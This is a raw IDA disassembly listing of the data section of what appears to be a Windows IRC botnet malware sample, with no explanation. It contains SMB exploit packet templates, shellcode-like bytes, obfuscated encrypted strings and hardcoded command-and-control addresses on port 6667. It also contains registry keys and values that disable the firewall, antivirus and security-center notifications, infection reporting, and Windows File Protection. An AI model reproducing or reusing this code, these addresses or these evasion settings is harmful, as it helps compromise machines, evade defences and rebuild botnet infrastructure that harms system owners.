		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	2 dup(0)
dword_438E68	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_411A5E+2E6o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 2 dup(0)
dword_438ED8	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_411A5E+311o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 2 dup(0)
dword_438F50	dd 0				dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40A899+1
		dd 1, 0
		dd 1, 3	dup(0)
dword_438FDC	dd 7449BF1Ah			dd 1, 77324321h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_438FF0:				; DATA XREF: sub_411A5E+13Do
		jmp	short loc_438FF8
; ---------------------------------------------------------------------------
		jmp	short loc_438FFA
; ---------------------------------------------------------------------------
		align 8


loc_438FF8:				; CODE XREF: .text:loc_438FF0j
					; DATA XREF: sub_411A5E+27o ...
		pop	esp
		pop	esp


loc_438FFA:				; CODE XREF: .text:00438FF2j
		and	eax, 50495C73h
		inc	ebx
		and	al, 0
; ---------------------------------------------------------------------------
		dw 0
dword_439004	dd 1CEC8166h	dword_439008	dd 0E4FF07h			align 10h
word_439010	dw 43Bh			; DATA XREF: sub_401477:loc_4014D6r
					; sub_403B2C:loc_4054BAr
word_439012	dw 1193h		; DATA XREF: sub_403B2C:loc_404DBCr
word_439014	dw 3F5h			; DATA XREF: .text:004031ACr
					; sub_40B63F+124r ...
byte_439016	db 2Ah			; DATA XREF: sub_403A63+2Fr
					; sub_403A63+83r ...
		align 4
dword_439018	dd 14h							; sub_41B69D+3Cr
; ---------------------------------------------------------------------------


loc_43901C:				; DATA XREF: sub_412267+11o
		xor	[eax+31h], bh
		db	66h, 66h
		pop	ebx
		xor	eax, 5D34h


loc_439027:				; DATA XREF: sub_403B2C+13C5o
					; sub_403B2C+13EEo ...
		add	[esi+35h], bl
		cmp	ah, [ebp+0]


loc_439030:				; DATA XREF: sub_401477+89o
					; sub_403B2C+19B7o ...
		sbb	dh, [esi+7Ch]
		std
		inc	eax
		or	ebx, [edi+0A40Dh]


loc_43903C:				; DATA XREF: sub_401160+BEo
					; sub_4130E5+24Eo ...
		sbb	dh, [esi+7Ch]
		cld
		inc	ebp
		or	al, 0


loc_439043:				; DATA XREF: sub_403B2C+13CAo
					; sub_403B2C+13F3o ...
		add	[esi+35h], bl
		cmp	ah, [ebp+0]


loc_43904C:				; DATA XREF: sub_419B2F+1BBr
		pop	esp
		retn	43h
; ---------------------------------------------------------------------------
		dd offset dword_43C24C
; ---------------------------------------------------------------------------
		inc	eax
		retn	43h
; ---------------------------------------------------------------------------
		cmp	dl, al
		inc	ebx
		add	[eax], dh
		retn	43h
; ---------------------------------------------------------------------------
		and	al, 0C2h
		inc	ebx
		add	[eax], bl
		retn	43h
; ---------------------------------------------------------------------------
dword_439068	dd 0B35B5E23h, 76DC0D71h, 66FBAC1Ch, 7B13F9BEh,	59E01F84h
					; DATA XREF: sub_4120E9+46o
					; sub_412EB7+114o ...
		dd 28D185F4h, 22B558Ch,	558FF383h, 3D2431C9h, 9111FFD1h
		dd 19F4DAA4h, 4F19D5h
dword_439098	dd 0B35B5E23h, 76DC0D71h, 66FBAC1Ch, 7B13F9BEh,	59E01F84h
					; DATA XREF: sub_41B424+59o
					; sub_41D499+B0o
		dd 28D185F4h, 22B558Ch,	558FF383h, 3D2431C9h, 9111FFD1h
		dd 19F4DAA4h, 4F19D5h
dword_4390C8	dd 0F16E7528h, 22C11D4Fh, 66CA843Bh, 6217FCA2h,	18EE0486h
					; DATA XREF: sub_41B424:loc_41B4B8o
					; sub_41D499+C8o
		dd 33CD9FE9h, 126E62C9h, 59BBBA8Ch, 64792387h, 0C147F193h
		dd 66A98DE4h, 0E31653FDh, 6070943Ch, 88AE0FF9h,	0CDB1CA0Bh
		dd 3F5336FBh, 48BF0AE1h, 0FBC4978Dh, 117138D4h,	7F52DBFCh
		dd 0D6877FBDh, 8BFCBB19h, 7324751Bh, 49C90CA7h,	5FFD4C23h
		dd 0
dword_439130	dd 80000002h						; sub_414CF1+1EAr ...
dword_439134	dd 0C749543Eh, 47E03974h, 2FD39D29h, 6108FB92h,	64EE1086h
					; DATA XREF: sub_414983+1BDo
					; sub_414983+231o ...
		dd 28D7BBDCh, 33969C8h,	45AFC6A9h, 7D73359Bh, 0D2408794h
		dd 28A281E4h, 0F12B7DD1h, 20h, 32h dup(0)
		db 3 dup(0)
byte_439233	db 3Ah			; DATA XREF: sub_414FE3+2Do
					; sub_41B69D+ABo ...
		dd 40FD7C76h, 1051920Bh, 922FE8B3h, 0ECh, 0BFh dup(0)
dword_439540	dd 0A03F2A16h, 31F14B6Fh, 75DDEC45h, 264ABAB3h,	15AA45D8h
					; DATA XREF: sub_40CDE2+607o
					; sub_4120E9+14Eo ...
		dd 7588DFB9h, 497B4381h, 7DFABB0h, 415317DCh, 0ACADh
dword_439568	dd 0F7666D23h, 6BD61D6Eh, 28FB8214h, 15EC85h					; sub_414983+31Bo ...
dword_439578	dd 0FC606B3Eh, 70F6584Fh, 34FBB71Ch, 6002DAD1h,	5DF91F9Fh
					; DATA XREF: sub_414983+236o
					; sub_414983+24Fo ...
		dd 0
dword_439590	dd 0E061723Ah, 70D72B03h, 23FDA803h, 0					; sub_414983+1DBo ...
; ---------------------------------------------------------------------------


loc_4395A0:				; DATA XREF: sub_419B2F+214o
					; sub_41D499+110o
		pop	esi
		sub	[edi], dh
		stosb
		inc	edi
		sbb	edi, edx
		xor	[ebx-10h], eax
		jmp	dword ptr [eax]
; ---------------------------------------------------------------------------
		dd 2205B0C6h, 5BA315DDh, 768989B8h, 46283199h, 68FF9C5h
		dd 0
dword_4395C4	dd 0A5387F08h, 3AD11B42h, 77A7F546h, 2457EBC7h,	9FE40D8h
					; DATA XREF: sub_403B2C+821o
					; sub_41D499+128o
		dd 728BD4E1h, 402830CFh, 188FE94h, 0
dword_4395E8	dd 0A23C294Ch, 30835B11h, 7EAEF846h, 2254BBC0h,	0AAB4ED0h
					; DATA XREF: sub_419B2F+30o
					; sub_419F6A+C4o ...
		dd 778DDCB9h, 2E10209Eh, 19C4AFD3h, 212274A9h, 954F91C3h
		dd 2CF9DBFFh, 0B14A15B8h, 3028D16Dh, 0D8F34BFDh, 95FA8A1Eh
		dd 6D0573ADh, 5FFB48A7h, 0B8959D95h, 41362BF0h,	1A95BDh
dword_439638	dd 3D4Eh						; sub_403B2C+721o ...
dword_43963C	dd 0A65C5E29h, 4A12h					; sub_40F770+CDo ...
dword_439644	dd 6A3D4Eh						; sub_403B2C+1110o ...
dword_439648	dd 7C3D4Eh						; sub_415702+5o ...
dword_43964C	dd 643D4Eh						; sub_403B2C+FBEo ...
dword_439650	dd 7C3D4Eh, 0						; sub_419B2F:loc_419ED0o ...
dword_439658	dd 0F86B7405h						; sub_412267+4FDr
		dd 71DB1350h, 77A6F844h, 7702FEDFh, 16E9188Dh, 0D383E3h
		dd 21h dup(0)
		db 3 dup(0)
byte_4396F7	db 1Eh			; DATA XREF: sub_412267+4CFo
					; sub_41D499+188o
		dd 46E16C7Eh, 663C20Ch,	0B2h, 0
dword_439708	dd 1F90h						; sub_403B2C+484o ...
dword_43970C	dd 0				dd 0FC777415h, 6FCB155Bh, 31B0AF14h, 7C03EC94h,	57F9589Ah
		dd 0EDh, 21h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		db 90h
		db 1Fh,	2 dup(0)
		align 8
		dd 0EB3F355Ch, 31824913h, 76E6F10Dh, 7D04A79Ch,	0F915C7h
		dd 22h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		db 90h
		db 1Fh,	2 dup(0)
		align 10h
		dd 0E766355Ch, 609F0150h, 3FEDB51Ch, 3C08EADFh,	158Ah
		dd 22h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		db 90h
		db 1Fh,	2 dup(0)
		align 8
		dd 0FB7C7A09h, 2CDC194Eh, 36F7AF11h, 6602E7DFh,	23h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		db 90h
		db 1Fh,	2 dup(0)
		align 10h
		dd 0FE607415h, 2CCB084Ch, 36F7AF11h, 6602E7DFh,	23h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		db 90h
		db 1Fh,	2 dup(0)
		align 8
		dd 0E77D7E0Ah, 6CDC194Eh, 20F8A45Bh, 3C14FB94h,	0F7198Ah
		dd 22h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		db 90h
		db 1Fh,	2 dup(0)
		align 10h
		dd 0F1616E1Eh, 2CDC0A56h, 23F0AD13h, 6008A785h,	8Eh, 22h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		db 90h
		db 1Fh,	2 dup(0)
		align 8
		dd 0E16C7E1Eh, 6CC10C46h, 68FBAA14h, 7C02F99Eh,	16E9188Dh
		dd 89E2h, 21h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		db 90h
		db 1Fh,	2 dup(0)
		align 10h
		dd 0F67A770Fh, 2CD51747h, 28FBB11Ah, 3C14E795h,	138Bh
		dd 22h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		db 90h
		db 1Fh,	2 dup(0)
		align 8
		dd 0A23F630Bh, 31834C13h, 3FF6B65Bh, 6008A7B8h,	8Eh, 22h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		db 90h
		db 1Fh,	2 dup(0)
		align 10h
		dd 0F66A690Ah, 6CD3154Dh, 23FBB65Bh, 3C14E795h,	0F7198Ah
		dd 22h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		db 90h
		db 1Fh,	2 dup(0)
		align 8
		dd 0BD61635Dh, 6DD4014Eh, 34FFA31Ah, 7409E0DFh,	86h, 22h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		db 90h
		db 1Fh,	2 dup(0)
		align 10h
		dd 0A23E635Dh, 64CA480Dh, 2FB0A713h, 8EF9Fh, 23h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		db 90h
		db 1Fh,	2 dup(0)
		align 8
		dd 0A237770Fh, 7BDA0F0Dh, 34F1EF3Ch, 96h, 23h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		dd 1F91h, 0
		dd 0EB3F355Ch, 2C82491Bh, 25B0AE16h, 92h, 23h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		dd 1F91h, 0
		dd 0F86B7405h, 71DB1350h, 77A6F844h, 7702FEDFh,	16E9188Dh
		dd 0D383E3h, 21h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		dd 1F91h, 0
		dd 0FC777415h, 6FCB155Bh, 31B0AF14h, 7C03EC94h,	57F9589Ah
		dd 0EDh, 21h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		dd 1F91h, 0
		dd 0EB3F355Ch, 31824913h, 76E6F10Dh, 7D04A79Ch,	0F915C7h
		dd 22h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		dd 1F91h, 0
		dd 0E766355Ch, 609F0150h, 3FEDB51Ch, 3C08EADFh,	158Ah
		dd 22h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		dd 1F91h, 0
		dd 0FB7C7A09h, 2CDC194Eh, 36F7AF11h, 6602E7DFh,	23h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		dd 1F91h, 0
		dd 0FE607415h, 2CCB084Ch, 36F7AF11h, 6602E7DFh,	23h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		dd 1F91h, 0
		dd 0E77D7E0Ah, 6CDC194Eh, 20F8A45Bh, 3C14FB94h,	0F7198Ah
		dd 22h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		dd 1F91h, 0
		dd 0F1616E1Eh, 2CDC0A56h, 23F0AD13h, 6008A785h,	8Eh, 22h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		dd 1F91h, 0
		dd 0E16C7E1Eh, 6CC10C46h, 68FBAA14h, 7C02F99Eh,	16E9188Dh
		dd 89E2h, 21h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		dd 1F91h, 0
		dd 0F67A770Fh, 2CD51747h, 28FBB11Ah, 3C14E795h,	138Bh
		dd 22h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		dd 1F91h, 0
		dd 0A23F630Bh, 31834C13h, 3FF6B65Bh, 6008A7B8h,	8Eh, 22h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		dd 1F91h, 0
		dd 0F66A690Ah, 6CD3154Dh, 23FBB65Bh, 3C14E795h,	0F7198Ah
		dd 22h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		dd 1F91h, 0
		dd 0BD61635Dh, 6DD4014Eh, 34FFA31Ah, 7409E0DFh,	86h, 22h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		dd 1F91h, 0
		dd 0A23E635Dh, 64CA480Dh, 2FB0A713h, 8EF9Fh, 23h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		dd 1F91h, 0
		dd 0A121295Ah, 339C4E10h, 71B0F243h, 0C1h, 23h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		db 90h
		db 1Fh,	2 dup(0)
		align 10h
		dd 0BD3C225Ch, 2C854B12h, 68AFF147h, 56BFC0h, 23h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		db 90h
		db 1Fh,	2 dup(0)
		align 8
		dd 0A6212F5Ah, 36835617h, 70A8EF40h, 24h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		db 90h
		db 1Fh,	2 dup(0)
		align 10h
		dd 0A121295Ah, 339C4E10h, 71B0F243h, 0C1h, 23h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		dd 1F91h, 0
		dd 0BD3C225Ch, 2C854B12h, 68AFF147h, 56BFC0h, 23h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		dd 1F91h, 0
		dd 0A6212F5Ah, 36835617h, 70A8EF40h, 24h dup(0)
		dd 1E000000h, 46E16C7Eh, 663C20Ch, 0B2h, 0
		dd 1F91h, 0
dword_43B038	dd 80000002h						; sub_412267+53r ...
dword_43B03C	dd 0C749543Eh, 47E03974h, 2FD39D29h, 6108FB92h,	64EE1086h
					; DATA XREF: sub_4120E9+10Bo
					; sub_412267+46o ...
		dd 28D7BBDCh, 33969C8h,	45AFC6A9h, 7D73359Bh, 0D2408794h
		dd 28A281E4h, 0EC2A7DD1h, 3371992Bh, 89B4169Ch,	0CFB7DA45h
		dd 2AE5h, 2Fh dup(0)
		db 3 dup(0)
byte_43B13B	db 20h			; DATA XREF: sub_4120E9+106o
					; sub_412267+4Do ...
		dd 6FD64248h, 2Ch, 0C1h	dup(0)
		dd 80000002h
dword_43B44C	dd 0C749543Eh, 47E03974h, 2FD39D29h, 6108FB92h,	64EE1086h
					; DATA XREF: sub_41D499+2B6o
		dd 28D7BBDCh, 33969C8h,	45AFC6A9h, 7D73359Bh, 0D2408794h
		dd 28A281E4h, 0EC2A7DD1h, 3371992Bh, 89B4169Ch,	0CFB7DA45h
		dd 2AE5h, 2Fh dup(0)
		db 3 dup(0)
off_43B54B	dd offset byte_5F6E3F	; DATA XREF: sub_41D499+2CEo
		align 10h
		dd 0C2h	dup(0)
		dd 80000002h
dword_43B85C	dd 0C749543Eh, 47E03974h, 2FD39D29h, 6108FB92h,	64EE1086h
					; DATA XREF: sub_41D499+2E6o
		dd 28D7BBDCh, 33969C8h,	45AFC6A9h, 7D73359Bh, 0D2408794h
		dd 28A281E4h, 0EC2A7DD1h, 3371992Bh, 89B4169Ch,	0CFB7DA45h
		dd 2AE5h, 2Fh dup(0)
		db 3 dup(0)
byte_43B95B	db 24h			; DATA XREF: sub_41D499+2FEo
		dd 46FE664Fh, 0C2h dup(0)
aXs_gx1codil0ip	db 'XS.gx1Codil0ipCc./nFVlQ0czp3c.tya/1/ECot5.3LwcH.9DpYh/gAuwv/Xt.Gq'
					; DATA XREF: sub_403B2C+2D6Ao
					; sub_403B2C+2E4Co ...
		db '/RDubo13ke.r/3.v3N02NvJL/CS42A/Q./FK0K0RIG/.',0
		align 4
aYwxiw_hzl400fd	db 'yWXIw.hZL400FdRGg.gJVXr0Ildyc1dw01k1ijd/y0gIBrE1rRds10.3Mzo0fIHLX'
					; DATA XREF: sub_403B2C+2C45o
					; sub_403B2C+3544o ...
		db '0QK7f./XE83W.gN7RP..D8EN1hFW6.0UWq/O.1n0S31VIJc109Bp4A1stfLz1wtuD'
		db '3.zHiud1iQqWq/1Iu5L0BkFVn1',0
		align 4
aH08_Drzwx_	db 'h/08./drzWX.',0     ; DATA XREF: sub_403B2C+26Fo
					; sub_403B2C+2F2o ...
		align 4
aQo1bf0_b7k40mn	db 'qo1bf0.B7k40Mnsrm1FhS.k.',0 ; DATA XREF: sub_40281E+73o
					; sub_40281E+97o ...
		align 4
aIi290eb6g4Ty84	db 'II/290Eb6G4/TY84s/myQpz0',0 ; DATA XREF: sub_403B2C+1143o
					; sub_403B2C+14ECo ...
		align 10h
a68gmpWcesMnsrm	db '68gmp/wceS//Mnsrm1FhS.k.',0 ; DATA XREF: sub_403B2C+1194o
					; sub_403B2C+11E8o ...
		align 4
aYuohiGmfzv	db 'yUoHi/GMFZv/',0     ; DATA XREF: sub_403B2C+1B8Do
					; sub_403B2C+1C0Do ...
		align 4
aX1pikRo_tl_	db 'X1PIk/rO.TL.',0     ; DATA XREF: sub_403B2C+201Co
					; sub_403B2C:loc_405B65o ...
		align 4
aZrbax_zpsbs_ty	db 'ZRbAx.zPSBs.TY84s/myQpz0',0 ; DATA XREF: sub_403B2C+2404o
					; sub_403B2C+2455o ...
		align 4
aG4xsw0ja5mx_	db 'g4XSw0jA5mx.',0     ; DATA XREF: sub_403B2C+72BEo
					; sub_403B2C+72E0o ...
		align 4
aWxbrg_rpy8y_ty	db 'wXBrG.Rpy8y.TY84s/myQpz0',0 ; DATA XREF: sub_403B2C+7331o
					; sub_403B2C+73BDo ...
		align 4
aRaMr15qabm1	db 'RA/Mr15qAbm1',0     ; DATA XREF: start+Fo sub_401408+25o ...
		align 4
aPnmnw_7rscg0	db 'PnmNw.7RScG0',0     ; DATA XREF: sub_401477+DCo
					; sub_402190+489o ...
		align 4
aQnqb5Bavh1_mns	db 'qnQb5/bavH1.Mnsrm1FhS.k.',0 ; DATA XREF: sub_403B2C+1D21o
					; sub_403B2C:loc_40586Bo ...
		align 10h
aFr3nb0ttxid1mn	db 'Fr3NB0Ttxid1Mnsrm1FhS.k.',0 ; DATA XREF: sub_418B58+2F6o
					; sub_41D98A+5C1o
		align 4
aIvrum__ltyn0x9	db 'iVRum..LtyN0X9DHH1k06Rd1',0 ; DATA XREF: sub_403B2C+1E00o
					; sub_403B2C:loc_405A78o ...
		align 4
aBsxrm1gm35a0ty	db 'BSXRM1GM35a0TY84s/myQpz0',0 ; DATA XREF: sub_41D98A+627o
		align 4
aOpc9a1uprd41iw	db 'OPC9A1upRd41IwhIm0ocHBf0',0 ; DATA XREF: sub_403B2C+3DE7o
					; sub_403B2C+3E77o ...
		align 10h
aSmo3c0mcu8j_xf	db 'SmO3C0MCu8j.xfK1r.VuQwI.',0 ; DATA XREF: sub_403B2C+3F70o
					; sub_403B2C+3FA9o ...
		align 4
aTovrfYuzfi1mns	db 'tOVrF/YuzFI1Mnsrm1FhS.k.',0 ; DATA XREF: sub_403B2C+495Bo
					; sub_403B2C+4A3Do ...
		align 4
aM7pC1xaudb1ty8	db 'm7P/c1xaudB1TY84s/myQpz0',0 ; DATA XREF: sub_403B2C+C2Bo
					; sub_403B2C+C8Ao ...
		align 4
aIazcn0rzRw0xfk	db 'iaZcN0Rz/rw0xfK1r.VuQwI.',0 ; DATA XREF: sub_403B2C+D92o
					; sub_403B2C:loc_404967o ...
		align 10h
a8niowW5nrt1	db '8nIOw/w5nRT1',0     ; DATA XREF: sub_403B2C+1220o
					; sub_403B2C+129Do ...
		align 10h
aFr5ye08wltp1mn	db 'fr5ye08Wltp1Mnsrm1FhS.k.',0 ; DATA XREF: sub_419B2F+146o
					; sub_419B2F+1EDo ...
		align 4
a8sxng_tdfrt	db '8sXNG.tDfrt/',0     ; DATA XREF: sub_403B2C+6920o
					; sub_403B2C+6A0Fo ...
		align 4
aI7lwu1uby8a0	db 'i7LwU1UbY8A0',0     ; DATA XREF: sub_403B2C+50F7o
					; sub_403B2C+52D0o ...
		align 4
aCwje81zpyq1_ty	db 'CWje81ZpYQ1.TY84s/myQpz0',0 ; DATA XREF: sub_403B2C+649Do
					; sub_403B2C+64D1o ...
		align 4
aXtyre1_rjar_xf	db 'XtyrE1.RJaR.xfK1r.VuQwI.',0 ; DATA XREF: sub_403B2C+5A00o
					; sub_403B2C+5AAEo ...
		align 4
a2fulsVpayi0	db '2FUlS/VPAyI0',0     ; DATA XREF: sub_403B2C+57F7o
					; sub_403B2C+58A6o ...
		align 4
aZshqz13bz2w1	db 'ZsHqZ13bZ2w1',0     ; DATA XREF: sub_403B2C+5C20o
					; sub_403B2C+5CCEo ...
		align 4
aJjc1c1nn0bl0ty	db 'JJc1c1nn0bL0TY84s/myQpz0',0 ; DATA XREF: sub_403B2C+5E67o
					; sub_403B2C+5F2Bo ...
		align 10h
aCkdai0gd9lr_	db 'ckdai0Gd9lr.',0     ; DATA XREF: sub_403B2C:loc_40771Do
					; sub_403B2C+3C36o ...
		align 10h
a75bqq0i7ucw0	db '75bQQ0i7ucW0',0     ; DATA XREF: sub_403B2C+60B5o
					; sub_403B2C+61A9o ...
		align 10h
aIQ		db '(I]q',0            ; DATA XREF: sub_41A1C8+Co
					; sub_41D499+346o
		align 4
aRa		db '=RA',0             ; DATA XREF: sub_4032F1+4Eo
					; sub_410269+19Ao ...
		align 10h
aTa		db '=TA',0             ; DATA XREF: sub_4032F1+5Fo
					; sub_410269+1B9o ...
		align 4
aZ		db '=Z\',0             ; DATA XREF: sub_40FFB4+129o
					; sub_41D499+38Eo
		align 10h
a8hj		db '8HJ',0             ; DATA XREF: sub_4033F0+A0o
					; sub_40FFB4+151o ...
		align 4
aTf		db 27h,'TF',0          ; DATA XREF: sub_403B2C+2C96o
					; sub_403B2C+2CEAo ...
		align 10h
aZ_0		db '=Z]',0             ; DATA XREF: sub_403B2C+2D2Bo
					; sub_403B2C+2D70o ...
		align 4
dword_43C078	dd 0C546493Dh, 0F52B6Eh					; sub_403B2C+27BBo ...
dword_43C080	dd 0DA5B5423h, 3D60h					; sub_403B2C+32BFo ...
dword_43C088	dd 0D84C5223h, 0					; sub_4033F0+A6o ...
dword_43C090	dd 0D84C5226h, 0					; sub_41D499+436o
dword_43C098	dd 0DA5F5439h, 60h					; sub_41D499+44Eo
dword_43C0A0	dd 0D64B5420h, 0					; sub_410795+1Ao ...
dword_43C0A8	dd 0C7464E3Ch, 0					; sub_41015C:loc_4101AFo ...
dword_43C0B0	dd 0C14A4838h, 56E1376Bh, 0					; sub_41A1C8+54o ...
		dd 6F6877h, 4F4D535Bh, 4154532Dh, 554E494Dh, 5D53h, 43C204h
		dd 43C1F0h, 43C1DCh, 43C1CCh, 43C1B8h, 43C1ACh,	43C1A0h
		dd 43C194h, 43C188h, 4352496Dh,	332E3276h, 564441h, 4352496Dh
		dd 2E327620h, 64412033h, 636E6176h, 4F426465h, 54h, 6D6F73h
		dd 646E6977h, 2E786262h, 657865h, 20425355h, 3F003376h
		dd 2D4F4D53h, 0
		dd 45h,	43C184h, 1A0Bh,	6D737323h, 6E6Fh, 6D737323h, 736E6Fh
		dd 6D737323h, 6B6E6Fh, 6D737323h, 656E6Fh, 0D340h, 64737323h
		dd 727370h
dword_43C170	dd 24h							; sub_403B2C+4CAr ...
dword_43C174	dd 7							; sub_419B2F+1ACr ...
dword_43C178	dd 10h				dd offset byte_44D6A4
		dd offset byte_44D6A4
		dd 2A402Ah, 322E3237h, 38312E30h, 322Eh, 352E3237h, 2E322E30h
		dd 32h,	322E3237h, 30332E30h, 322Eh, 322E3237h,	30322E30h
		dd 37322Eh, 2E31736Eh, 6D617473h, 73756E69h, 74656E2Eh
		dd 0
		dd 322E3237h, 37332E30h, 3934312Eh, 0
a72_20_54_57666	db '72.20.54.57:6667',0
		align 10h
a72_20_38_17666	db '72.20.38.17:6667',0
		align 4
a72_20_22_18054	db '72.20.22.180:54080',0
		align 4
		dd 0D3253A47h, 2C825613h, 45h, 0D3253A47h, 2C845615h, 43h
		dd 0D3253A47h, 13h, 0D3253A47h,	0CC525Dh, 0D3253A47h, 74D35609h
		dd 0
dword_43C24C	dd 0D3253A47h, 7BC60C09h, 23F0EF45h, 85h, 0D3253A47h, 67C6194Bh
					; DATA XREF: .text:00439050o
		dd 24AEA35Bh, 7515E6DFh, 0
dword_43C270	dd 255C7325h, 73h					; sub_414983+157o ...
aSoftwarePoli_0	db 'SOFTWARE\Policies\Microsoft\MRT',0 ; DATA XREF: sub_412267+3EEo
aDontreportinfe	db 'DontReportInfectionInformation',0 ; DATA XREF: sub_412267+3E9o
		align 4
aFirewalloverri	db 'FirewallOverride',0 ; DATA XREF: sub_412267+3D8o
		align 4
aFirewalldisabl	db 'FirewallDisableNotify',0 ; DATA XREF: sub_412267+3CAo
		align 4
aAntivirusoverr	db 'AntiVirusOverride',0 ; DATA XREF: sub_412267+3BCo
		align 4
aAntivirusdisab	db 'AntiVirusDisableNotify',0 ; DATA XREF: sub_412267+3AEo
		align 10h
aSoftwareMicr_0	db 'SOFTWARE\Microsoft\Security Center',0 ; DATA XREF: sub_412267+3A7o
		align 8
aSystemContro_0	db 'SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPol'
					; DATA XREF: sub_412267+378o
		db 'icy\DomainProfile',0
		align 4
aDisablenotific	db 'DisableNotifications',0 ; DATA XREF: sub_412267+36Bo
					; sub_412267+398o
		align 4
aDonotallowexce	db 'DoNotAllowExceptions',0 ; DATA XREF: sub_412267+35Ao
					; sub_412267+38Ao
		align 4
aEnablefirewall	db 'EnableFirewall',0   ; DATA XREF: sub_412267+34Do
					; sub_412267+37Do
		align 10h
aSystemControls	db 'SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPol'
					; DATA XREF: sub_412267+348o
		db 'icy\StandardProfile',0
		align 4
aAutosharewks	db 'AutoShareWks',0     ; DATA XREF: sub_412267+33Bo
		align 4
aAutoshareserve	db 'AutoShareServer',0  ; DATA XREF: sub_412267+32Do
aSfcscan	db 'SFCScan',0          ; DATA XREF: sub_412267+318o
aSoftwarePolici	db 'Software\Policies\Microsoft\Windows NT\Windows File Protection',0
					; DATA XREF: sub_412267+30Co
					; sub_412267+31Do
		align 10h
aSfcdisable	db 'SFCDisable',0       ; DATA XREF: sub_412267+307o
		align 4
aSizreqbuf	db 'SizReqBuf',0        ; DATA XREF: sub_412267+2F9o
		align 4
aSystemCurren_2	db 'SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters',0
					; DATA XREF: sub_412267+2F4o
		align 4
aMaxconnectio_0	db 'MaxConnectionsPerServer',0 ; DATA XREF: sub_412267+2DFo
aSoftwareMicros	db 'Software\Microsoft\Windows\CurrentVersion\Internet Settings',0
					; DATA XREF: sub_412267+2CCo
					; sub_412267+2E4o
aMaxconnections	db 'MaxConnectionsPer1_0Server',0 ; DATA XREF: sub_412267+2C2o
		align 4
aSystemCurren_1	db 'SYSTEM\CurrentControlSet\Services\Afd\Parameters',0
					; DATA XREF: sub_412267+2B2o
		align 4
aDisablerawsecu	db 'DisableRawSecurity',0 ; DATA XREF: sub_412267+2ADo
		align 4
aAllowuserrawac	db 'AllowUserRawAccess',0 ; DATA XREF: sub_412267+29Fo
		align 10h
aLargebuffersiz	db 'LargeBufferSize',0  ; DATA XREF: sub_412267+291o
aTcpmaxdupacks	db 'TcpMaxDupAcks',0    ; DATA XREF: sub_412267+27Do
		align 10h
aDefaultttl	db 'DefaultTTL',0       ; DATA XREF: sub_412267+26Fo
		align 4
aSackopts	db 'SackOpts',0         ; DATA XREF: sub_412267+261o
		align 4
